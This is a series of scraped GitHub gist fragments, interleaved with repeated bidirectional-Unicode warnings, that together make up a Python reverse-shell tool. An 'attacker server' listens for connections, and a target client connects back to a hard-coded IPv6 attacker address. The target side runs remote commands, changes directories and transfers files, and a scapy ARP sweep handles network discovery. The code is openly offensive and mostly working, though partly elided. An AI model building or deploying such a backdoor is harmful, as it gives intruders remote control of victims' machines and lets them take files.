This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def command_handler(target_client): | |
data = str(input()) | |
send_data(data, target_client) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def run_command(command): | |
command = command.rstrip() | |
try: | |
command.index("cd") | |
navigate_directory(command) | |
return "Directory changed to: " + str(os.getcwd()) | |
except: | |
pass | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def navigate_directory(command): | |
destination_directory_path = command[command.index("cd") + 3:] | |
print(destination_directory_path) | |
os.chdir(destination_directory_path) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def command_handler(target_client): | |
data = str(input()) | |
try: | |
data.index('file') | |
file_handler(target_client, data) | |
return | |
except: | |
pass | |
send_data(data, target_client) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def file_handler(target_client, command): | |
target_client.send(bytes(command, 'utf-8')) | |
acknowledgement = target_client.recv(BUFFER_SIZE) | |
if(acknowledgement == b'ACK'): | |
pass | |
data_splits = command.split(' ') | |
mode = data_splits[2] | |
if(mode == 'r'): | |
receive_data(target_client) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def run_command(command): | |
command = command.rstrip() | |
try: | |
command.index("cd") | |
navigate_directory(command) | |
return "Directory changed to: " + str(os.getcwd()) | |
except: | |
pass |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def file_handler(command): | |
command_splits = command.split(" ") | |
if(len(command_splits) > 3): | |
return "file command has more than two arguments." | |
elif(command_splits[0] != 'file'): | |
return "incorrect command" | |
file_name = command_splits[1] | |
mode = command_splits[2] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
BUFFER_SIZE = 1024 | |
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
# lets the attacker server listen on the specified port number | |
def attacker_server_binder(hostname, port_number): | |
attacker_server.bind((hostname, port_number)) | |
attacker_server.listen(5) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
target_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | |
. | |
. | |
. | |
attacker_hostname = "2405:204:a38a:708d:4dfd:c0ac:2ba2:3a06" | |
attacker_port = 12345 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
response = "" | |
def discovery(dst, time): | |
global response | |
ethernet_layer = Ether(dst="ff:ff:ff:ff:ff:ff") | |
arp_layer = ARP(pdst= dst) | |
ans, unans = srp(ethernet_layer/arp_layer, timeout=int(time)) | |
for sent, received in ans: | |
response = response + received[ARP].psrc + " " |